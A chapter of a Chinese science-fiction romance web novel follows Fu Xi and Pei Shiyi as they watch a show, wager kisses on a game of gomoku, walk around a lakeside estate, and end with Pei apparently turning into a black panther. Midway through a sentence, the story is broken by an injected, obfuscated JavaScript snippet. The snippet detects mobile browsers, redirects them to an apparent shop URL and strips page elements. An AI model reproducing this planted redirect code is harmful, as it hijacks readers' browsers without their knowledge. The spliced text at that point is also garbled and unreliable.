所以接下来的剧情应该是,双方就此停下,第二天见面十分尴尬,但又因为某件突发事件破冰…… 画面中,机器人并没有如付溪所想的停下来,而是问:“少爷,你想要多长的?各种型号我都有。” 之前主角收拾旧屋时,的确在机器人身边抱出了一个没拆封的箱子!里面!全!都是! 付溪:“……” 付溪眼睛都瞪圆了,一时间不知道是该捂自己的眼睛和耳朵,还是去捂裴时意的。 “关闭!关闭!小美,速速关闭!” 他使劲儿点击终端。 等画面停下,周遭陷入安静。 付溪嘴唇嗫嚅了下,声音虚弱:“我没想到会是这种发展方向。” 他扭头去看裴时意。 裴时意神色却如常:“这种发展怎么了?” 付溪:“。” 噢,忘了,首都星的公民有寻偶期,且因为寻偶期是客观存在的,因此并不觉得这有什么。 付溪摆手:“没。” 不过这部剧的CP实在是邪门。 付溪好奇问:“跟机器人那个,能缓解寻偶期吗?” 裴时意摇头:“没有体-液。” “哦哦哦。”付溪一拍脑门,“我把这个给忘了。” 之前才上过的课,已经还给教授了。 剧是看不下去了,付溪干脆搬出棋盘来,和裴时意面对面坐着:“我们不玩首都星棋。我来教你玩五子棋~” 五子棋的规则实在简单。 几句话就能说清楚。 裴时意很快就学会了。 “这样纯玩,有点没意思。”裴时意开口。 付溪:“啊?那你想?” “赌博?”裴时意视线落在付溪的唇上,喉结动了动,“你输一局,我亲你一下,我输一局,你亲我一下。” 付溪:“……” 付溪鄙视地看着裴时意,“你算盘珠子都崩我脸上了。” 裴时意好奇问:“算盘珠子是什么?” 付溪:“……一种算数用的道具,这句话的意思是你很会算计,到了毫不掩饰的地步。” 裴时意颔首:“的确,很形象。” 他问,“那你的意见是?” 付溪:“。” 付溪哪有什么意见? 他想了想,“我输了你计数一次,我赢了我计数一次,最后相互抵消,你多我多少,我们就接多少次吻?最后结算。” 裴时意:“行。” 事关嘴巴的安危,付溪严阵以待。 十分钟后,付溪眉头紧锁:“再来。” 二十分钟后,付溪怀疑人生:“这不对吧……” 半个小时后,付溪若无其事的起身:“……先歇一会儿,我感觉我坐的位置风水不太好。” 他站起身,认真观察裴时意,左晃晃,并晃晃,并开始进行外人眼中的无证据污蔑,付溪眼中的合理怀疑:“你是不是用终端作弊了?” 裴时意一脸无辜:“没有,我没带终端。” 他伸出手。 付溪一看,竟然真的没带! 付溪:“。” “你的终端呢?” “在哥哥那。” “……” 付溪意想不到的情况发生了。 在这个没有终端寸步难行的地方,裴时意竟然连终端都被他的哥哥裴临朔给扣留了…… “那你是怎么来的?”付溪好奇。 裴时意:“被……送来的。” 裴时意说话时声音含糊了下,付溪没听太清,但猜测应该是哥哥那边的人送来的。 那确实不太方便去付溪之前挑选的地方。 ——很多景点都是需要扫描终端身份信息的,有些还要购买门票。 唔,倒是可以考虑带裴时意在别墅附近压一压马路。 听澜一区毕竟是富豪区,周围的植被都有造景,跟华夏的园林差不多,还是很好看的。 付溪心中计划着,明知故问:“明天一早就会有人来接你回去吗?” 之前裴时意都是付溪还没醒时就离开了。 裴时意:“嗯。” 付溪摸摸鼻头,小小声说:“那你回去拿到终端后,记得看一下哈,我会给你发一条有点重要的消息,你一定要看。” 裴时意:“什么消息?” 付溪:“……你到时候就知道了。” 付溪嘴上卖了个关子,心中猜测裴时意拿回终端,看到是小学一年级考试成绩单要家长签字时的表情,默默脚趾扣地。 真希望时间过得慢一点,再慢一点…… 最好那一刻永远都不要到来。 中午,付溪和裴时意吃完饭,提议出去压马路,裴时意果然同意了。 两人收拾收拾,即刻出发。 昨晚的大雨后,听澜一区的绿植焕然一新,空气也愈发清新,带着点绿植的木质和泥土混合的气息,属于华夏常见,但首都星上少有的味道,付溪很怀念,一直在猛猛吸气。 两人并肩走在林荫小路上,脚步轻快。 走出一截,裴时意突然问:“可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17474630|201534||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以牵手吗?” 付溪没回,直接转身抓住裴时意。 他举起双方交握的手,在裴时意的眼前晃了晃,笑眯眯的边走边说:“可以啊。” 裴时意怔怔看着付溪脸上的笑:“……嗯。” 自从搬家后,付溪还没有好好在这附近走过。 他有种逛公园的感觉,看什么都新奇。 整个听澜一区很大,休闲步道有两条,一条绕着植被区的大圈走,另一条围着位于中央的人工湖泊修了一圈,这处湖泊由人工制成,定期维护,呈现非常漂亮的碧绿色,阳光洒下时波光粼粼,美不胜收。 付溪:“哇——真好看!” 只可惜付溪体力有限。 他从一开始的兴致勃勃,到后面的略感疲惫,再到最后的步履瞒珊。 看着前方无尽的步道,付溪深吸一口气,小声嘀咕:“……我微信步数铁三万+了。” 裴时意见付溪越走越慢:“累了?” 付溪:“嗯。” 裴时意:“我可以背你。” 付溪有些不好意思。长这么大,除了爸妈,他还没被别人背过——上学时集体活动的那种不算。 他认真打量裴时意,见后者走这么远的路,依然健步如飞,似乎真的不累,又想到两人的关系,答应下来。 裴时意蹲在付溪面前。 付溪双手伸出,揽住裴时意的脖颈,有些陌生地弯腰趴在裴时意背上。 裴时意有力的臂膀向后,大手握住付溪的腿肉,轻轻松松往上一提,付溪身体一颠,便被裴时意顺利背起。 双脚离地的一瞬,付溪舒服的喟叹一声。 “天哪。”付溪浑身放松,感慨,“活过来了。” 裴时意发出一声闷笑。 就这样,裴时意一路背着付溪回家,抵达别墅门口时,外面的天隐隐暗下来,时间不早,要赶紧履行赌约了。 付溪换完鞋,快步抵达客厅,看着之前计数时写的正字,摸了摸自己的嘴巴,心想,接下来的时间估计会很难熬…… 唉。 真希望时间“嗖”的一下就能过去。 付溪视死如归:“来吧。” 不过是区区13次接吻罢辽! 第一次,他们在客厅站着,第二次,他们坐在沙发上,第三次,付溪不由自主躺下,曲着腿。 之后是第四次,第五次…… 没人有功夫去开灯,整个别墅室内昏暗下来。 “……” 付溪很累,甚至有点困,而宽大的沙发实在有点好躺,他索性在接吻的过程中闭着眼,任由裴时意带着灼热的呼吸主动吻来。他能清楚感觉到,裴时意的呼吸愈发急促与沉重。 连带着他也有些燥热。 陡然,鼻尖撞上一个冰凉且湿漉漉的……东西? 脸颊被轻轻舔了下,但那触感似乎不太对? 有轻微的痛感。 就像是猫舌头。 付溪有些疑惑,但眼皮沉重不想睁开,他蹙眉伸手,试图推开无比黏人的裴时意,却在下一秒吓了一跳。 入手是一片触感略微坚硬的……毛发? “等、等一下!” 这手感是怎么回事!? 付溪仓促睁眼。 ……漆黑。 竖起的淡金色瞳孔。 凑近的鼻尖…… 一只两米多长的黑豹前肢位于付溪两侧,后肢在地板上支撑,一颗头颅凑近付溪,见付溪睁眼,湿漉漉的鼻尖蹭了蹭后者的脸颊,像是在讨好。 付溪:“!!!???” 这是! 这是什么啊—— 为什么家里有一头豹子! 还在、在舔他!? 付溪灵魂都要升天,他惊恐地支起上半身,双臂双腿用力后退,连滚带爬逃出一截距离,赤脚站在地板上,看着沙发上的那只陡然出现的黑豹,半晌才找到自己的呼吸。 沙发上的另外一个人不见了。 所以这是…… ……裴时意?